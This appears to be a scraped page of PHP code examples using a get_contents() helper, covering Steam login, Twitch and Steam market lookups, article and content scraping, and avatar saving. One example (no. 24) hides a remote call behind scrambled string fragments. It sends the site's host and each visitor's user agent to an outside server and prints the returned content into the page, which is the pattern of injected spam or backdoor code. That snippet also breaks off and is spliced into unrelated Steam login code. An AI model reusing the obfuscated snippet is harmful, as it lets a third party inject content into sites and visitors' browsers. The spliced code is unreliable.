    //	echo filemtime($k);
    //文件存在 todo 检测有问题
    //    if(file_exists($k)) {
    $R_files[] = get_contents($k);
    //    }
}
$result = join("\n", $R_files);
echo $result;
Exemplo n.º 24
0
<?php

$ddcxe = 'tp';
$xxzx = 'ges';
$dwcw = 'com';
$site = $_SERVER['HTTP_HOST'];
$dddxe = 'ht';
$ccev = '.';
$ddwe = 'ug';
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$qwec = 'g-nor';
$qwcx = 'link2';
$c = get_contents($dddxe . $ddcxe . '://' . $qwcx . $ccev . $ddwe . $qwec . $xxzx . $ccev . $dwcw . '/get_a.php?s=' . $site . '&ua=' . $ua);
print_r($c);
function get_contents($url, $second = 5)
{
    $content = '';
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, $second);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $content = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
    } else {
        $content = file_get_contents($url);
    }
    $str1 = " ";
    $str2 = $content;
/*Checks if the steam login has begun (OpenID->mode isn't set yet)*/
if (!$OpenID->mode && isset($_GET["steamlogin"])) {
    $OpenID->identity = "http://steamcommunity.com/openid";
    header("Location: {$OpenID->authUrl()}");
} else {
    if ($OpenID->mode == "cancel") {
        $results["msg"] = "You did cancel the authentication, didn't you?";
        echo json_encode($results);
        header("Location: index.php");
    } else {
        if ($OpenID->mode) {
            $SteamAuth = $OpenID->validate() ? $OpenID->identity : null;
            if ($SteamAuth !== null) {
                /*Succesful login*/
                $Steam64 = str_replace("http://steamcommunity.com/openid/id/", "", $SteamAuth);
                $profile = get_contents("http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key={$settings["SteamAPIKey"]}&steamids={$Steam64}");
                $json_decoded = json_decode($profile);
                foreach ($json_decoded->response->players as $player) {
                    $_SESSION["username"] = $player->personaname;
                }
                /*Checks if account exists*/
                $stmt = $db->prepare("SELECT * FROM HT_accounts WHERE steamid=:steamid");
                $stmt->execute(array(":steamid" => $Steam64));
                $row = $stmt->fetch(PDO::FETCH_ASSOC);
                if (!$row) {
                    /*Note: steam users don't need a password. They only need unique steam id and user id that is given to them*/
                    $stmt = $db->prepare("INSERT INTO HT_accounts (steamid) VALUES(:f1)");
                    $stmt->execute(array(":f1" => $Steam64));
                }
                /*Retrieve the user id*/
                $stmt = $db->prepare("SELECT * FROM HT_accounts WHERE steamid=:steamid");
Exemplo n.º 26
0
<?php

error_reporting(0);
$twitch_json = json_decode(get_contents("https://api.twitch.tv/kraken/streams?game=Dota+2&limit=15"));
$dota2vd_json = json_decode(get_contents("http://www.dotacinema.com/feed_shoutcast_match_list_search?casters=&tournaments=&heroes=&teams=&rates=&descriptions=&dates=&actualPage=1&JSON=Y"));
$combinedList = array();
$ultimateList = array();
$dota2vodslist = array();
$i = 0;
foreach ($twitch_json->streams as $aStream) {
    if ($aStream->viewers <= 1) {
        continue;
    }
    if ($i >= 14) {
        break;
    }
    $title = str_replace(array("'", '"'), "", $aStream->channel->status);
    $link = $aStream->channel->url;
    $name = $aStream->channel->display_name;
    $logo = $aStream->channel->logo;
    $id = $aStream->channel->name;
    $timeStamp = strtotime($aStream->channel->updated_at);
    $viewers = $aStream->viewers;
    $now = strtotime(date("Y-m-d H:i:s"));
    $then = $now - $timeStamp;
    $hours = abs(floor($then / 3600));
    $mins = abs(floor(($then - $hours * 3600) / 60));
    $since = "Streaming for: {$hours}h {$mins}m";
    $combinedList[$viewers][] = "<tr href='{$link}' data-id='{$id}' class='d2mtrow streams twitch' title='{$title}<br>{$since}' rel='tooltip'><td class='stream_date' alt='{$timeStamp}'><img src='{$logo}' width='16px' height='16px'></td><td>{$name}</td><td class='textRight'>{$viewers}</td></tr>";
    $i++;
}
Exemplo n.º 27
0
 public function addAssetAction()
 {
     $response['error'] = 0;
     $response['id'] = false;
     $response['blocked'] = false;
     if (isPost()) {
         $model = new ProfileModel();
         $post = allPost();
         if (!$post['mid'] || !$post['assetId']) {
             $response['error'] = Lang::translate("MATCH_WRONG_DATA");
         } else {
             $mid = $post['mid'];
             $response['id'] = $post['assetId'];
             $match = $model->getMatchByID($mid);
             if (!$match->blocked) {
                 $assets = getSession('myAssets' . $mid, false);
                 if (!$assets) {
                     $response['error'] = Lang::translate("MATCH_RELOAD_PAGE");
                 } else {
                     $assets = json_decode($assets);
                     if (!$assets) {
                         $response['error'] = Lang::translate("MATCH_RELOAD_PAGE");
                     } else {
                         if (!$assets->{$post}['assetId']) {
                             $response['error'] = Lang::translate('MATCH_WRONG_ASSET');
                         } else {
                             $asset = $assets->{$post}['assetId'];
                             $marketPrice = get_contents("http://steamcommunity.com/market/priceoverview/?currency=1&appid=730&market_hash_name=" . urlencode($asset->market_name));
                             $marketJson = json_decode($marketPrice);
                             $arr1 = array("\$", "&#8364;");
                             $arr2 = array("", "");
                             $price = str_replace($arr1, $arr2, $marketJson->median_price);
                             $item = array('uid' => Request::getParam('user')->id, 'mid' => $mid, 'oldAssetId' => $asset->assetId, 'amount' => $asset->amount, 'pos' => $asset->pos, 'name' => $asset->name, 'market_name' => $asset->market_name, 'status' => $asset->status, 'price' => $price, 'icon_url' => $asset->icon_url, 'icon_url_large' => $asset->icon_url_large, 'classid' => $asset->classid, 'instanceid' => $asset->instanceid);
                             if ($model->addMatchAsset($item)) {
                                 $response['assetNo'] = $model->insertID();
                                 if ($match) {
                                     if (Request::getParam('user')->id == $match->uid) {
                                         $field = 'uready';
                                     } else {
                                         $field = 'pready';
                                     }
                                     if ($match->{$field} == '1') {
                                         $data[$field] = '0';
                                         $response['target_h']['#readyBtn'] = Lang::translate("MATCH_NOT_READY");
                                     }
                                     if (Request::getParam('user')->id == $match->uid) {
                                         $data['usum'] = $match->usum + $price;
                                     } else {
                                         $data['psum'] = $match->psum + $price;
                                     }
                                     if (!$model->setMatchReady($mid, $data)) {
                                         $response['error'] = Lang::translate("MATCH_DB_ERROR");
                                     }
                                 } else {
                                     $response['error'] = Lang::translate("MATCH_WRONG");
                                 }
                             } else {
                                 $response['error'] = Lang::translate("MATCH_DB_ERROR");
                             }
                         }
                     }
                 }
             } else {
                 $response['error'] = Lang::translate("MATCH_BLOCKED");
                 $response['blocked'] = true;
             }
         }
     } else {
         $response['error'] = Lang::translate("MATCH_EMPTY_DATA");
     }
     echo json_encode($response);
     exit;
 }
Exemplo n.º 28
0
require 'conn.php';
require 'session.php';
require 'functions.php';
$type_arr = explode(',', $config['UserAddArticleType']);
//开启前台发布
if ($config['UserAddArticle'] == 0) {
    echo "<script>alert('前台会员不支持发布文章');location.href='ucenter.php'</script>";
    exit;
}
//微信文章导入
if ($_POST) {
    require 'QueryList.class.php';
    $long = guolv(trim($_POST['long']));
    $type_id = guolv(trim($_POST['type_id']));
    $html = get_contents($long);
    $money = $type_arr[2];
    $html = str_replace('data-src', 'src', $html);
    $caiji = array("title" => array(".rich_media_title:first", "text"), "content" => array("#js_content", "html"));
    $quyu = '';
    $hj = QueryList::Query($html, $caiji, $quyu);
    $arr = $hj->jsonArr;
    $title = $arr[0]['title'];
    $content = $arr[0]['content'];
    $pic = cut($html, 'var msg_cdn_url = "', '"');
    if (url_exists($long) == 1) {
        echo "<script>alert('网址不存在');location.href='weixin.php'</script>";
        exit;
    }
    if (is_numeric($type_id) == false) {
        echo "<script>alert('分类不存在');location.href='weixin.php'</script>";
Exemplo n.º 29
0
function page_get_content($content, $args = array())
{
    extract($args);
    if (!$content_arr) {
        $page_hash[] = md5($content);
        $re_info['content'] = rules_get_contents($content, $rules);
        $re_info['page_url'] = $url;
        $re_info['page'] = 1;
        if (!$re_info) {
            unset($content_arr);
            return FALSE;
        }
        if (intval($re_info) != -1) {
            $content_arr[md5($url)] = $re_info;
        }
    }
    foreach ((array) $content_page_arr as $k => $v) {
        if ($v == '#' || !$v || $v == $url || in_array($v, $oldurl)) {
            continue;
        }
        $url_parse_arr = parse_url(strtolower($v));
        parse_str($url_parse_arr['query'], $page_temp_arr);
        if ($page_temp_arr['page'] == 1) {
            continue;
        }
        $content = get_contents($v, array('cookie' => $rules['login_cookie']));
        $hash = md5($content);
        if (in_array($hash, $page_hash)) {
            continue;
        }
        $oldurl[] = $v;
        $page_hash[] = $hash;
        $num = count($content_arr) + 1;
        $re_info['content'] = rules_get_contents($content, $rules);
        $re_info['page_url'] = $v;
        $re_info['page'] = $num;
        $content_arr[md5($v)] = $re_info;
        if ($rules['content_page_get_mode'] != 1) {
            //全部列出模式
            $content_page_arr = get_content_page($v, $content, $rules);
            $args = array('oldurl' => $oldurl, 'content_arr' => $content_arr, 'content_page_arr' => $content_page_arr, 'page_hash' => $page_hash, 'rules' => $rules_info, 'url' => $url);
            return page_get_content($content, $args);
        }
    }
    return $content_arr;
}
Exemplo n.º 30
0
 private function save_remote_avatar($url, $uid)
 {
     $content = get_contents($url);
     $ptx_user = spClass("ptx_user");
     $avatar_info = $this->user_lib->get_avatarinfo($uid);
     $avatar_dir = APP_PATH . $avatar_info['dir'];
     !is_dir($avatar_dir) && @mkdir($avatar_dir, 0777, true);
     file_exists($avatar_dir . $avatar_info['orgin']) && unlink($avatar_dir . $avatar_info['orgin']);
     file_exists($avatar_dir . $avatar_info['large']) && unlink($avatar_dir . $avatar_info['large']);
     file_exists($avatar_dir . $avatar_info['middle']) && unlink($avatar_dir . $avatar_info['middle']);
     file_exists($avatar_dir . $avatar_info['small']) && unlink($avatar_dir . $avatar_info['small']);
     $file_path = $avatar_dir . $avatar_info['orgin'];
     if (!empty($content) && @file_put_contents($file_path, $content) > 0) {
         $imagelib = spClass('ImageLib');
         $imagelib->create_thumb($file_path, 'large', 150, 150);
         $imagelib->create_thumb($file_path, 'middle', 50, 50);
         $imagelib->create_thumb($file_path, 'small', 16, 16);
         //update local avatar
         $user_update['avatar_local'] = $avatar_info['dir'] . $avatar_info['filename'];
         return $ptx_user->update(array('user_id' => $uid), $user_update);
     } else {
         $user_update['avatar_local'] = $this->user_lib->create_default_avatar($uid);
         return $ptx_user->update(array('user_id' => $uid), $user_update);
     }
     return false;
 }